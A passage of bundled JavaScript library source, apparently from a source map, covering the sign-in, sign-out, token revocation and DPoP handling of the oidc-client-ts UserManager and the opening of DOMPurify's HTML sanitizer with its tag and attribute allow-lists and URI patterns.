this.generateDPoPJkt(this.settings.dpop);\n }\n const url = this.settings.silent_redirect_uri;\n if (!url) {\n logger2.throw(new Error(\"No silent_redirect_uri configured\"));\n }\n let verifySub;\n if (user && this.settings.validateSubOnSilentRenew) {\n logger2.debug(\"subject prior to silent renew:\", user.profile.sub);\n verifySub = user.profile.sub;\n }\n const handle = await this._iframeNavigator.prepare({ silentRequestTimeoutInSeconds });\n user = await this._signin({\n request_type: \"si:s\",\n redirect_uri: url,\n prompt: \"none\",\n id_token_hint: this.settings.includeIdTokenInSilentRenew ? user == null ? void 0 : user.id_token : void 0,\n dpopJkt,\n ...requestArgs\n }, handle, verifySub);\n if (user) {\n if ((_b = user.profile) == null ? void 0 : _b.sub) {\n logger2.info(\"success, signed in subject\", user.profile.sub);\n } else {\n logger2.info(\"no subject\");\n }\n }\n return user;\n }\n async _useRefreshToken(args) {\n const response = await this._client.useRefreshToken({\n timeoutInSeconds: this.settings.silentRequestTimeoutInSeconds,\n ...args\n });\n const user = new User({ ...args.state, ...response });\n await this.storeUser(user);\n await this._events.load(user);\n return user;\n }\n /**\n *\n * Notify the parent window of response (callback) from the authorization endpoint.\n * It is recommended to use {@link UserManager.signinCallback} instead.\n *\n * @returns A promise\n *\n * @see {@link UserManager.signinCallback}\n */\n async signinSilentCallback(url = window.location.href) {\n const logger2 = this._logger.create(\"signinSilentCallback\");\n await this._iframeNavigator.callback(url);\n logger2.info(\"success\");\n }\n /**\n * Process any response (callback) from the authorization endpoint, by dispatching the request_type\n * and executing one of the following functions:\n * - {@link UserManager.signinRedirectCallback}\n * - {@link UserManager.signinPopupCallback}\n * - {@link UserManager.signinSilentCallback}\n *\n * @throws `Error` If request_type is unknown or signin cannot be processed.\n */\n async signinCallback(url = window.location.href) {\n const { state } = await this._client.readSigninResponseState(url);\n switch (state.request_type) {\n case \"si:r\":\n return await this.signinRedirectCallback(url);\n case \"si:p\":\n await this.signinPopupCallback(url);\n break;\n case \"si:s\":\n await this.signinSilentCallback(url);\n break;\n default:\n throw new Error(\"invalid response_type in state\");\n }\n return void 0;\n }\n /**\n * Process any response (callback) from the end session endpoint, by dispatching the request_type\n * and executing one of the following functions:\n * - {@link UserManager.signoutRedirectCallback}\n * - {@link UserManager.signoutPopupCallback}\n * - {@link UserManager.signoutSilentCallback}\n *\n * @throws `Error` If request_type is unknown or signout cannot be processed.\n */\n async signoutCallback(url = window.location.href, keepOpen = false) {\n const { state } = await this._client.readSignoutResponseState(url);\n if (!state) {\n return void 0;\n }\n switch (state.request_type) {\n case \"so:r\":\n return await this.signoutRedirectCallback(url);\n case \"so:p\":\n await this.signoutPopupCallback(url, keepOpen);\n break;\n case \"so:s\":\n await this.signoutSilentCallback(url);\n break;\n default:\n throw new Error(\"invalid response_type in state\");\n }\n return void 0;\n }\n /**\n * Query OP for user's current signin status.\n *\n * @returns A promise object with session_state and subject identifier.\n */\n async querySessionStatus(args = {}) {\n const logger2 = this._logger.create(\"querySessionStatus\");\n const {\n silentRequestTimeoutInSeconds,\n ...requestArgs\n } = args;\n const url = this.settings.silent_redirect_uri;\n if (!url) {\n logger2.throw(new Error(\"No silent_redirect_uri configured\"));\n }\n const user = await this._loadUser();\n const handle = await this._iframeNavigator.prepare({ silentRequestTimeoutInSeconds });\n const navResponse = await this._signinStart({\n request_type: \"si:s\",\n // this acts like a signin silent\n redirect_uri: url,\n prompt: \"none\",\n id_token_hint: this.settings.includeIdTokenInSilentRenew ? user == null ? void 0 : user.id_token : void 0,\n response_type: this.settings.query_status_response_type,\n scope: \"openid\",\n skipUserInfo: true,\n ...requestArgs\n }, handle);\n try {\n const extraHeaders = {};\n const signinResponse = await this._client.processSigninResponse(navResponse.url, extraHeaders);\n logger2.debug(\"got signin response\");\n if (signinResponse.session_state && signinResponse.profile.sub) {\n logger2.info(\"success for subject\", signinResponse.profile.sub);\n return {\n session_state: signinResponse.session_state,\n sub: signinResponse.profile.sub\n };\n }\n logger2.info(\"success, user not authenticated\");\n return null;\n } catch (err) {\n if (this.settings.monitorAnonymousSession && err instanceof ErrorResponse) {\n switch (err.error) {\n case \"login_required\":\n case \"consent_required\":\n case \"interaction_required\":\n case \"account_selection_required\":\n logger2.info(\"success for anonymous user\");\n return {\n session_state: err.session_state\n };\n }\n }\n throw err;\n }\n }\n async _signin(args, handle, verifySub) {\n const navResponse = await this._signinStart(args, handle);\n return await this._signinEnd(navResponse.url, verifySub);\n }\n async _signinStart(args, handle) {\n const logger2 = this._logger.create(\"_signinStart\");\n try {\n const signinRequest = await this._client.createSigninRequest(args);\n logger2.debug(\"got signin request\");\n return await handle.navigate({\n url: signinRequest.url,\n state: signinRequest.state.id,\n response_mode: signinRequest.state.response_mode,\n scriptOrigin: this.settings.iframeScriptOrigin\n });\n } catch (err) {\n logger2.debug(\"error after preparing navigator, closing navigator window\");\n handle.close();\n throw err;\n }\n }\n async _signinEnd(url, verifySub) {\n const logger2 = this._logger.create(\"_signinEnd\");\n const extraHeaders = {};\n const signinResponse = await this._client.processSigninResponse(url, extraHeaders);\n logger2.debug(\"got signin response\");\n const user = await this._buildUser(signinResponse, verifySub);\n return user;\n }\n async _buildUser(signinResponse, verifySub) {\n const logger2 = this._logger.create(\"_buildUser\");\n const user = new User(signinResponse);\n if (verifySub) {\n if (verifySub !== user.profile.sub) {\n logger2.debug(\"current user does not match user returned from signin. sub from signin:\", user.profile.sub);\n throw new ErrorResponse({ ...signinResponse, error: \"login_required\" });\n }\n logger2.debug(\"current user matches user returned from signin\");\n }\n await this.storeUser(user);\n logger2.debug(\"user stored\");\n await this._events.load(user);\n return user;\n }\n /**\n * Trigger a redirect of the current window to the end session endpoint.\n *\n * @returns A promise\n */\n async signoutRedirect(args = {}) {\n const logger2 = this._logger.create(\"signoutRedirect\");\n const {\n redirectMethod,\n ...requestArgs\n } = args;\n const handle = await this._redirectNavigator.prepare({ redirectMethod });\n await this._signoutStart({\n request_type: \"so:r\",\n post_logout_redirect_uri: this.settings.post_logout_redirect_uri,\n ...requestArgs\n }, handle);\n logger2.info(\"success\");\n }\n /**\n * Process response (callback) from the end session endpoint.\n * It is recommended to use {@link UserManager.signoutCallback} instead.\n *\n * @returns A promise containing signout response\n *\n * @see {@link UserManager.signoutCallback}\n */\n async signoutRedirectCallback(url = window.location.href) {\n const logger2 = this._logger.create(\"signoutRedirectCallback\");\n const response = await this._signoutEnd(url);\n logger2.info(\"success\");\n return response;\n }\n /**\n * Trigger a redirect of a popup window to the end session endpoint.\n *\n * @returns A promise\n */\n async signoutPopup(args = {}) {\n const logger2 = this._logger.create(\"signoutPopup\");\n const {\n popupWindowFeatures,\n popupWindowTarget,\n popupSignal,\n ...requestArgs\n } = args;\n const url = this.settings.popup_post_logout_redirect_uri;\n const handle = await this._popupNavigator.prepare({ popupWindowFeatures, popupWindowTarget, popupSignal });\n await this._signout({\n request_type: \"so:p\",\n post_logout_redirect_uri: url,\n // we're putting a dummy entry in here because we\n // need a unique id from the state for notification\n // to the parent window, which is necessary if we\n // plan to return back to the client after signout\n // and so we can close the popup after signout\n state: url == null ? void 0 : {},\n ...requestArgs\n }, handle);\n logger2.info(\"success\");\n }\n /**\n * Process response (callback) from the end session endpoint from a popup window.\n * It is recommended to use {@link UserManager.signoutCallback} instead.\n *\n * @returns A promise\n *\n * @see {@link UserManager.signoutCallback}\n */\n async signoutPopupCallback(url = window.location.href, keepOpen = false) {\n const logger2 = this._logger.create(\"signoutPopupCallback\");\n await this._popupNavigator.callback(url, { keepOpen });\n logger2.info(\"success\");\n }\n async _signout(args, handle) {\n const navResponse = await this._signoutStart(args, handle);\n return await this._signoutEnd(navResponse.url);\n }\n async _signoutStart(args = {}, handle) {\n var _a;\n const logger2 = this._logger.create(\"_signoutStart\");\n try {\n const user = await this._loadUser();\n logger2.debug(\"loaded current user from storage\");\n if (this.settings.revokeTokensOnSignout) {\n await this._revokeInternal(user);\n }\n const id_token = args.id_token_hint || user && user.id_token;\n if (id_token) {\n logger2.debug(\"setting id_token_hint in signout request\");\n args.id_token_hint = id_token;\n }\n await this.removeUser();\n logger2.debug(\"user removed, creating signout request\");\n const signoutRequest = await this._client.createSignoutRequest(args);\n logger2.debug(\"got signout request\");\n return await handle.navigate({\n url: signoutRequest.url,\n state: (_a = signoutRequest.state) == null ? void 0 : _a.id,\n scriptOrigin: this.settings.iframeScriptOrigin\n });\n } catch (err) {\n logger2.debug(\"error after preparing navigator, closing navigator window\");\n handle.close();\n throw err;\n }\n }\n async _signoutEnd(url) {\n const logger2 = this._logger.create(\"_signoutEnd\");\n const signoutResponse = await this._client.processSignoutResponse(url);\n logger2.debug(\"got signout response\");\n return signoutResponse;\n }\n /**\n * Trigger a silent request (via an iframe) to the end session endpoint.\n *\n * @returns A promise\n */\n async signoutSilent(args = {}) {\n var _a;\n const logger2 = this._logger.create(\"signoutSilent\");\n const {\n silentRequestTimeoutInSeconds,\n ...requestArgs\n } = args;\n const id_token_hint = this.settings.includeIdTokenInSilentSignout ? (_a = await this._loadUser()) == null ? void 0 : _a.id_token : void 0;\n const url = this.settings.popup_post_logout_redirect_uri;\n const handle = await this._iframeNavigator.prepare({ silentRequestTimeoutInSeconds });\n await this._signout({\n request_type: \"so:s\",\n post_logout_redirect_uri: url,\n id_token_hint,\n ...requestArgs\n }, handle);\n logger2.info(\"success\");\n }\n /**\n * Notify the parent window of response (callback) from the end session endpoint.\n * It is recommended to use {@link UserManager.signoutCallback} instead.\n *\n * @returns A promise\n *\n * @see {@link UserManager.signoutCallback}\n */\n async signoutSilentCallback(url = window.location.href) {\n const logger2 = this._logger.create(\"signoutSilentCallback\");\n await this._iframeNavigator.callback(url);\n logger2.info(\"success\");\n }\n async revokeTokens(types) {\n const user = await this._loadUser();\n await this._revokeInternal(user, types);\n }\n async _revokeInternal(user, types = this.settings.revokeTokenTypes) {\n const logger2 = this._logger.create(\"_revokeInternal\");\n if (!user) return;\n const typesPresent = types.filter((type) => typeof user[type] === \"string\");\n if (!typesPresent.length) {\n logger2.debug(\"no need to revoke due to no token(s)\");\n return;\n }\n for (const type of typesPresent) {\n await this._client.revokeToken(\n user[type],\n type\n );\n logger2.info(`${type} revoked successfully`);\n if (type !== \"access_token\") {\n user[type] = null;\n }\n }\n await this.storeUser(user);\n logger2.debug(\"user stored\");\n await this._events.load(user);\n }\n /**\n * Enables silent renew for the `UserManager`.\n */\n startSilentRenew() {\n this._logger.create(\"startSilentRenew\");\n void this._silentRenewService.start();\n }\n /**\n * Disables silent renew for the `UserManager`.\n */\n stopSilentRenew() {\n this._silentRenewService.stop();\n }\n get _userStoreKey() {\n return `user:${this.settings.authority}:${this.settings.client_id}`;\n }\n async _loadUser() {\n const logger2 = this._logger.create(\"_loadUser\");\n const storageString = await this.settings.userStore.get(this._userStoreKey);\n if (storageString) {\n logger2.debug(\"user storageString loaded\");\n return User.fromStorageString(storageString);\n }\n logger2.debug(\"no user storageString\");\n return null;\n }\n async storeUser(user) {\n const logger2 = this._logger.create(\"storeUser\");\n if (user) {\n logger2.debug(\"storing user\");\n const storageString = user.toStorageString();\n await this.settings.userStore.set(this._userStoreKey, storageString);\n } else {\n this._logger.debug(\"removing user\");\n await this.settings.userStore.remove(this._userStoreKey);\n if (this.settings.dpop) {\n await this.settings.dpop.store.remove(this.settings.client_id);\n }\n }\n }\n /**\n * Removes stale state entries in storage for incomplete authorize requests.\n */\n async clearStaleState() {\n await this._client.clearStaleState();\n }\n /**\n * Dynamically generates a DPoP proof for a given user, URL and optional Http method.\n * This method is useful when you need to make a request to a resource server\n * with fetch or similar, and you need to include a DPoP proof in a DPoP header.\n * @param url - The URL to generate the DPoP proof for\n * @param user - The user to generate the DPoP proof for\n * @param httpMethod - Optional, defaults to \"GET\"\n * @param nonce - Optional nonce provided by the resource server\n *\n * @returns A promise containing the DPoP proof or undefined if DPoP is not enabled/no user is found.\n */\n async dpopProof(url, user, httpMethod, nonce) {\n var _a, _b;\n const dpopState = await ((_b = (_a = this.settings.dpop) == null ? void 0 : _a.store) == null ? void 0 : _b.get(this.settings.client_id));\n if (dpopState) {\n return await CryptoUtils.generateDPoPProof({\n url,\n accessToken: user == null ? void 0 : user.access_token,\n httpMethod,\n keyPair: dpopState.keys,\n nonce\n });\n }\n return void 0;\n }\n async generateDPoPJkt(dpopSettings) {\n let dpopState = await dpopSettings.store.get(this.settings.client_id);\n if (!dpopState) {\n const dpopKeys = await CryptoUtils.generateDPoPKeys();\n dpopState = new DPoPState(dpopKeys);\n await dpopSettings.store.set(this.settings.client_id, dpopState);\n }\n return await CryptoUtils.generateDPoPJkt(dpopState.keys);\n }\n};\n\n// package.json\nvar version = \"3.3.0\";\n\n// src/Version.ts\nvar Version = version;\n\n// src/IndexedDbDPoPStore.ts\nvar IndexedDbDPoPStore = class {\n constructor() {\n this._dbName = \"oidc\";\n this._storeName = \"dpop\";\n }\n async set(key, value) {\n const store = await this.createStore(this._dbName, this._storeName);\n await store(\"readwrite\", (str) => {\n str.put(value, key);\n return this.promisifyRequest(str.transaction);\n });\n }\n async get(key) {\n const store = await this.createStore(this._dbName, this._storeName);\n return await store(\"readonly\", (str) => {\n return this.promisifyRequest(str.get(key));\n });\n }\n async remove(key) {\n const item = await this.get(key);\n const store = await this.createStore(this._dbName, this._storeName);\n await store(\"readwrite\", (str) => {\n return this.promisifyRequest(str.delete(key));\n });\n return item;\n }\n async getAllKeys() {\n const store = await this.createStore(this._dbName, this._storeName);\n return await store(\"readonly\", (str) => {\n return this.promisifyRequest(str.getAllKeys());\n });\n }\n promisifyRequest(request) {\n return new Promise((resolve, reject) => {\n request.oncomplete = request.onsuccess = () => resolve(request.result);\n request.onabort = request.onerror = () => reject(request.error);\n });\n }\n async createStore(dbName, storeName) {\n const request = indexedDB.open(dbName);\n request.onupgradeneeded = () => request.result.createObjectStore(storeName);\n const db = await this.promisifyRequest(request);\n return async (txMode, callback) => {\n const tx = db.transaction(storeName, txMode);\n const store = tx.objectStore(storeName);\n return await callback(store);\n };\n }\n};\nexport {\n AccessTokenEvents,\n CheckSessionIFrame,\n DPoPState,\n ErrorResponse,\n ErrorTimeout,\n InMemoryWebStorage,\n IndexedDbDPoPStore,\n Log,\n Logger,\n MetadataService,\n OidcClient,\n OidcClientSettingsStore,\n SessionMonitor,\n SigninResponse,\n SigninState,\n SignoutResponse,\n State,\n User,\n UserManager,\n UserManagerSettingsStore,\n Version,\n WebStorageStateStore\n};\n//# sourceMappingURL=oidc-client-ts.js.map\n","/*! @license DOMPurify 3.2.6 | (c) Cure53 and other contributors | Released under the Apache license 2.0 and Mozilla Public License 2.0 | github.com/cure53/DOMPurify/blob/3.2.6/LICENSE */\n\nconst {\n entries,\n setPrototypeOf,\n isFrozen,\n getPrototypeOf,\n getOwnPropertyDescriptor\n} = Object;\nlet {\n freeze,\n seal,\n create\n} = Object; // eslint-disable-line import/no-mutable-exports\nlet {\n apply,\n construct\n} = typeof Reflect !== 'undefined' && Reflect;\nif (!freeze) {\n freeze = function freeze(x) {\n return x;\n };\n}\nif (!seal) {\n seal = function seal(x) {\n return x;\n };\n}\nif (!apply) {\n apply = function apply(fun, thisValue, args) {\n return fun.apply(thisValue, args);\n };\n}\nif (!construct) {\n construct = function construct(Func, args) {\n return new Func(...args);\n };\n}\nconst arrayForEach = unapply(Array.prototype.forEach);\nconst arrayLastIndexOf = unapply(Array.prototype.lastIndexOf);\nconst arrayPop = unapply(Array.prototype.pop);\nconst arrayPush = unapply(Array.prototype.push);\nconst arraySplice = unapply(Array.prototype.splice);\nconst stringToLowerCase = unapply(String.prototype.toLowerCase);\nconst stringToString = unapply(String.prototype.toString);\nconst stringMatch = unapply(String.prototype.match);\nconst stringReplace = unapply(String.prototype.replace);\nconst stringIndexOf = unapply(String.prototype.indexOf);\nconst stringTrim = unapply(String.prototype.trim);\nconst objectHasOwnProperty = unapply(Object.prototype.hasOwnProperty);\nconst regExpTest = unapply(RegExp.prototype.test);\nconst typeErrorCreate = unconstruct(TypeError);\n/**\n * Creates a new function that calls the given function with a specified thisArg and arguments.\n *\n * @param func - The function to be wrapped and called.\n * @returns A new function that calls the given function with a specified thisArg and arguments.\n */\nfunction unapply(func) {\n return function (thisArg) {\n if (thisArg instanceof RegExp) {\n thisArg.lastIndex = 0;\n }\n for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n args[_key - 1] = arguments[_key];\n }\n return apply(func, thisArg, args);\n };\n}\n/**\n * Creates a new function that constructs an instance of the given constructor function with the provided arguments.\n *\n * @param func - The constructor function to be wrapped and called.\n * @returns A new function that constructs an instance of the given constructor function with the provided arguments.\n */\nfunction unconstruct(func) {\n return function () {\n for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {\n args[_key2] = arguments[_key2];\n }\n return construct(func, args);\n };\n}\n/**\n * Add properties to a lookup table\n *\n * @param set - The set to which elements will be added.\n * @param array - The array containing elements to be added to the set.\n * @param transformCaseFunc - An optional function to transform the case of each element before adding to the set.\n * @returns The modified set with added elements.\n */\nfunction addToSet(set, array) {\n let transformCaseFunc = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : stringToLowerCase;\n if (setPrototypeOf) {\n // Make 'in' and truthy checks like Boolean(set.constructor)\n // independent of any properties defined on Object.prototype.\n // Prevent prototype setters from intercepting set as a this value.\n setPrototypeOf(set, null);\n }\n let l = array.length;\n while (l--) {\n let element = array[l];\n if (typeof element === 'string') {\n const lcElement = transformCaseFunc(element);\n if (lcElement !== element) {\n // Config presets (e.g. tags.js, attrs.js) are immutable.\n if (!isFrozen(array)) {\n array[l] = lcElement;\n }\n element = lcElement;\n }\n }\n set[element] = true;\n }\n return set;\n}\n/**\n * Clean up an array to harden against CSPP\n *\n * @param array - The array to be cleaned.\n * @returns The cleaned version of the array\n */\nfunction cleanArray(array) {\n for (let index = 0; index < array.length; index++) {\n const isPropertyExist = objectHasOwnProperty(array, index);\n if (!isPropertyExist) {\n array[index] = null;\n }\n }\n return array;\n}\n/**\n * Shallow clone an object\n *\n * @param object - The object to be cloned.\n * @returns A new object that copies the original.\n */\nfunction clone(object) {\n const newObject = create(null);\n for (const [property, value] of entries(object)) {\n const isPropertyExist = objectHasOwnProperty(object, property);\n if (isPropertyExist) {\n if (Array.isArray(value)) {\n newObject[property] = cleanArray(value);\n } else if (value && typeof value === 'object' && value.constructor === Object) {\n newObject[property] = clone(value);\n } else {\n newObject[property] = value;\n }\n }\n }\n return newObject;\n}\n/**\n * This method automatically checks if the prop is function or getter and behaves accordingly.\n *\n * @param object - The object to look up the getter function in its prototype chain.\n * @param prop - The property name for which to find the getter function.\n * @returns The getter function found in the prototype chain or a fallback function.\n */\nfunction lookupGetter(object, prop) {\n while (object !== null) {\n const desc = getOwnPropertyDescriptor(object, prop);\n if (desc) {\n if (desc.get) {\n return unapply(desc.get);\n }\n if (typeof desc.value === 'function') {\n return unapply(desc.value);\n }\n }\n object = getPrototypeOf(object);\n }\n function fallbackValue() {\n return null;\n }\n return fallbackValue;\n}\n\nconst html$1 = freeze(['a', 'abbr', 'acronym', 'address', 'area', 'article', 'aside', 'audio', 'b', 'bdi', 'bdo', 'big', 'blink', 'blockquote', 'body', 'br', 'button', 'canvas', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'content', 'data', 'datalist', 'dd', 'decorator', 'del', 'details', 'dfn', 'dialog', 'dir', 'div', 'dl', 'dt', 'element', 'em', 'fieldset', 'figcaption', 'figure', 'font', 'footer', 'form', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'header', 'hgroup', 'hr', 'html', 'i', 'img', 'input', 'ins', 'kbd', 'label', 'legend', 'li', 'main', 'map', 'mark', 'marquee', 'menu', 'menuitem', 'meter', 'nav', 'nobr', 'ol', 'optgroup', 'option', 'output', 'p', 'picture', 'pre', 'progress', 'q', 'rp', 'rt', 'ruby', 's', 'samp', 'section', 'select', 'shadow', 'small', 'source', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'summary', 'sup', 'table', 'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'time', 'tr', 'track', 'tt', 'u', 'ul', 'var', 'video', 'wbr']);\nconst svg$1 = freeze(['svg', 'a', 'altglyph', 'altglyphdef', 'altglyphitem', 'animatecolor', 'animatemotion', 'animatetransform', 'circle', 'clippath', 'defs', 'desc', 'ellipse', 'filter', 'font', 'g', 'glyph', 'glyphref', 'hkern', 'image', 'line', 'lineargradient', 'marker', 'mask', 'metadata', 'mpath', 'path', 'pattern', 'polygon', 'polyline', 'radialgradient', 'rect', 'stop', 'style', 'switch', 'symbol', 'text', 'textpath', 'title', 'tref', 'tspan', 'view', 'vkern']);\nconst svgFilters = freeze(['feBlend', 'feColorMatrix', 'feComponentTransfer', 'feComposite', 'feConvolveMatrix', 'feDiffuseLighting', 'feDisplacementMap', 'feDistantLight', 'feDropShadow', 'feFlood', 'feFuncA', 'feFuncB', 'feFuncG', 'feFuncR', 'feGaussianBlur', 'feImage', 'feMerge', 'feMergeNode', 'feMorphology', 'feOffset', 'fePointLight', 'feSpecularLighting', 'feSpotLight', 'feTile', 'feTurbulence']);\n// List of SVG elements that are disallowed by default.\n// We still need to know them so that we can do namespace\n// checks properly in case one wants to add them to\n// allow-list.\nconst svgDisallowed = freeze(['animate', 'color-profile', 'cursor', 'discard', 'font-face', 'font-face-format', 'font-face-name', 'font-face-src', 'font-face-uri', 'foreignobject', 'hatch', 'hatchpath', 'mesh', 'meshgradient', 'meshpatch', 'meshrow', 'missing-glyph', 'script', 'set', 'solidcolor', 'unknown', 'use']);\nconst mathMl$1 = freeze(['math', 'menclose', 'merror', 'mfenced', 'mfrac', 'mglyph', 'mi', 'mlabeledtr', 'mmultiscripts', 'mn', 'mo', 'mover', 'mpadded', 'mphantom', 'mroot', 'mrow', 'ms', 'mspace', 'msqrt', 'mstyle', 'msub', 'msup', 'msubsup', 'mtable', 'mtd', 'mtext', 'mtr', 'munder', 'munderover', 'mprescripts']);\n// Similarly to SVG, we want to know all MathML elements,\n// even those that we disallow by default.\nconst mathMlDisallowed = freeze(['maction', 'maligngroup', 'malignmark', 'mlongdiv', 'mscarries', 'mscarry', 'msgroup', 'mstack', 'msline', 'msrow', 'semantics', 'annotation', 'annotation-xml', 'mprescripts', 'none']);\nconst text = freeze(['#text']);\n\nconst html = freeze(['accept', 'action', 'align', 'alt', 'autocapitalize', 'autocomplete', 'autopictureinpicture', 'autoplay', 'background', 'bgcolor', 'border', 'capture', 'cellpadding', 'cellspacing', 'checked', 'cite', 'class', 'clear', 'color', 'cols', 'colspan', 'controls', 'controlslist', 'coords', 'crossorigin', 'datetime', 'decoding', 'default', 'dir', 'disabled', 'disablepictureinpicture', 'disableremoteplayback', 'download', 'draggable', 'enctype', 'enterkeyhint', 'face', 'for', 'headers', 'height', 'hidden', 'high', 'href', 'hreflang', 'id', 'inputmode', 'integrity', 'ismap', 'kind', 'label', 'lang', 'list', 'loading', 'loop', 'low', 'max', 'maxlength', 'media', 'method', 'min', 'minlength', 'multiple', 'muted', 'name', 'nonce', 'noshade', 'novalidate', 'nowrap', 'open', 'optimum', 'pattern', 'placeholder', 'playsinline', 'popover', 'popovertarget', 'popovertargetaction', 'poster', 'preload', 'pubdate', 'radiogroup', 'readonly', 'rel', 'required', 'rev', 'reversed', 'role', 'rows', 'rowspan', 'spellcheck', 'scope', 'selected', 'shape', 'size', 'sizes', 'span', 'srclang', 'start', 'src', 'srcset', 'step', 'style', 'summary', 'tabindex', 'title', 'translate', 'type', 'usemap', 'valign', 'value', 'width', 'wrap', 'xmlns', 'slot']);\nconst svg = freeze(['accent-height', 'accumulate', 'additive', 'alignment-baseline', 'amplitude', 'ascent', 'attributename', 'attributetype', 'azimuth', 'basefrequency', 'baseline-shift', 'begin', 'bias', 'by', 'class', 'clip', 'clippathunits', 'clip-path', 'clip-rule', 'color', 'color-interpolation', 'color-interpolation-filters', 'color-profile', 'color-rendering', 'cx', 'cy', 'd', 'dx', 'dy', 'diffuseconstant', 'direction', 'display', 'divisor', 'dur', 'edgemode', 'elevation', 'end', 'exponent', 'fill', 'fill-opacity', 'fill-rule', 'filter', 'filterunits', 'flood-color', 'flood-opacity', 'font-family', 'font-size', 'font-size-adjust', 'font-stretch', 'font-style', 'font-variant', 'font-weight', 'fx', 'fy', 'g1', 'g2', 'glyph-name', 'glyphref', 'gradientunits', 'gradienttransform', 'height', 'href', 'id', 'image-rendering', 'in', 'in2', 'intercept', 'k', 'k1', 'k2', 'k3', 'k4', 'kerning', 'keypoints', 'keysplines', 'keytimes', 'lang', 'lengthadjust', 'letter-spacing', 'kernelmatrix', 'kernelunitlength', 'lighting-color', 'local', 'marker-end', 'marker-mid', 'marker-start', 'markerheight', 'markerunits', 'markerwidth', 'maskcontentunits', 'maskunits', 'max', 'mask', 'media', 'method', 'mode', 'min', 'name', 'numoctaves', 'offset', 'operator', 'opacity', 'order', 'orient', 'orientation', 'origin', 'overflow', 'paint-order', 'path', 'pathlength', 'patterncontentunits', 'patterntransform', 'patternunits', 'points', 'preservealpha', 'preserveaspectratio', 'primitiveunits', 'r', 'rx', 'ry', 'radius', 'refx', 'refy', 'repeatcount', 'repeatdur', 'restart', 'result', 'rotate', 'scale', 'seed', 'shape-rendering', 'slope', 'specularconstant', 'specularexponent', 'spreadmethod', 'startoffset', 'stddeviation', 'stitchtiles', 'stop-color', 'stop-opacity', 'stroke-dasharray', 'stroke-dashoffset', 'stroke-linecap', 'stroke-linejoin', 'stroke-miterlimit', 'stroke-opacity', 'stroke', 'stroke-width', 'style', 'surfacescale', 'systemlanguage', 'tabindex', 'tablevalues', 'targetx', 'targety', 'transform', 'transform-origin', 'text-anchor', 'text-decoration', 'text-rendering', 'textlength', 'type', 'u1', 'u2', 'unicode', 'values', 'viewbox', 'visibility', 'version', 'vert-adv-y', 'vert-origin-x', 'vert-origin-y', 'width', 'word-spacing', 'wrap', 'writing-mode', 'xchannelselector', 'ychannelselector', 'x', 'x1', 'x2', 'xmlns', 'y', 'y1', 'y2', 'z', 'zoomandpan']);\nconst mathMl = freeze(['accent', 'accentunder', 'align', 'bevelled', 'close', 'columnsalign', 'columnlines', 'columnspan', 'denomalign', 'depth', 'dir', 'display', 'displaystyle', 'encoding', 'fence', 'frame', 'height', 'href', 'id', 'largeop', 'length', 'linethickness', 'lspace', 'lquote', 'mathbackground', 'mathcolor', 'mathsize', 'mathvariant', 'maxsize', 'minsize', 'movablelimits', 'notation', 'numalign', 'open', 'rowalign', 'rowlines', 'rowspacing', 'rowspan', 'rspace', 'rquote', 'scriptlevel', 'scriptminsize', 'scriptsizemultiplier', 'selection', 'separator', 'separators', 'stretchy', 'subscriptshift', 'supscriptshift', 'symmetric', 'voffset', 'width', 'xmlns']);\nconst xml = freeze(['xlink:href', 'xml:id', 'xlink:title', 'xml:space', 'xmlns:xlink']);\n\n// eslint-disable-next-line unicorn/better-regex\nconst MUSTACHE_EXPR = seal(/\\{\\{[\\w\\W]*|[\\w\\W]*\\}\\}/gm); // Specify template detection regex for SAFE_FOR_TEMPLATES mode\nconst ERB_EXPR = seal(/<%[\\w\\W]*|[\\w\\W]*%>/gm);\nconst TMPLIT_EXPR = seal(/\\$\\{[\\w\\W]*/gm); // eslint-disable-line unicorn/better-regex\nconst DATA_ATTR = seal(/^data-[\\-\\w.\\u00B7-\\uFFFF]+$/); // eslint-disable-line no-useless-escape\nconst ARIA_ATTR = seal(/^aria-[\\-\\w]+$/); // eslint-disable-line no-useless-escape\nconst IS_ALLOWED_URI = seal(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.\\-]+(?:[^a-z+.\\-:]|$))/i // eslint-disable-line no-useless-escape\n);\nconst IS_SCRIPT_OR_DATA = seal(/^(?:\\w+script|data):/i);\nconst ATTR_WHITESPACE = seal(/[\\u0000-\\u0020\\u00A0\\u1680\\u180E\\u2000-\\u2029\\u205F\\u3000]/g // eslint-disable-line no-control-regex\n);\nconst DOCTYPE_NAME = seal(/^html$/i);\nconst CUSTOM_ELEMENT = seal(/^[a-z][.\\w]*(-[.\\w]+)+$/i);\n\nvar EXPRESSIONS = /*#__PURE__*/Object.freeze({\n __proto__: null,\n ARIA_ATTR: ARIA_ATTR,\n ATTR_WHITESPACE: ATTR_WHITESPACE,\n CUSTOM_ELEMENT: CUSTOM_ELEMENT,\n DATA_ATTR: DATA_ATTR,\n DOCTYPE_NAME: DOCTYPE_NAME,\n ERB_EXPR: ERB_EXPR,\n IS_ALLOWED_URI: IS_ALLOWED_URI,\n IS_SCRIPT_OR_DATA: IS_SCRIPT_OR_DATA,\n MUSTACHE_EXPR: MUSTACHE_EXPR,\n TMPLIT_EXPR: TMPLIT_EXPR\n});\n\n/* eslint-disable @typescript-eslint/indent */\n// https://developer.mozilla.org/en-US/docs/Web/API/Node/nodeType\nconst NODE_TYPE = {\n element: 1,\n attribute: 2,\n text: 3,\n cdataSection: 4,\n entityReference: 5,\n // Deprecated\n entityNode: 6,\n // Deprecated\n progressingInstruction: 7,\n comment: 8,\n document: 9,\n documentType: 10,\n documentFragment: 11,\n notation: 12 // Deprecated\n};\nconst getGlobal = function getGlobal() {\n return typeof window === 'undefined' ? null : window;\n};\n/**\n * Creates a no-op policy for internal use only.\n * Don't export this function outside this module!\n * @param trustedTypes The policy factory.\n * @param purifyHostElement The Script element used to load DOMPurify (to determine policy name suffix).\n * @return The policy created (or null, if Trusted Types\n * are not supported or creating the policy failed).\n */\nconst _createTrustedTypesPolicy = function _createTrustedTypesPolicy(trustedTypes, purifyHostElement) {\n if (typeof trustedTypes !== 'object' || typeof trustedTypes.createPolicy !== 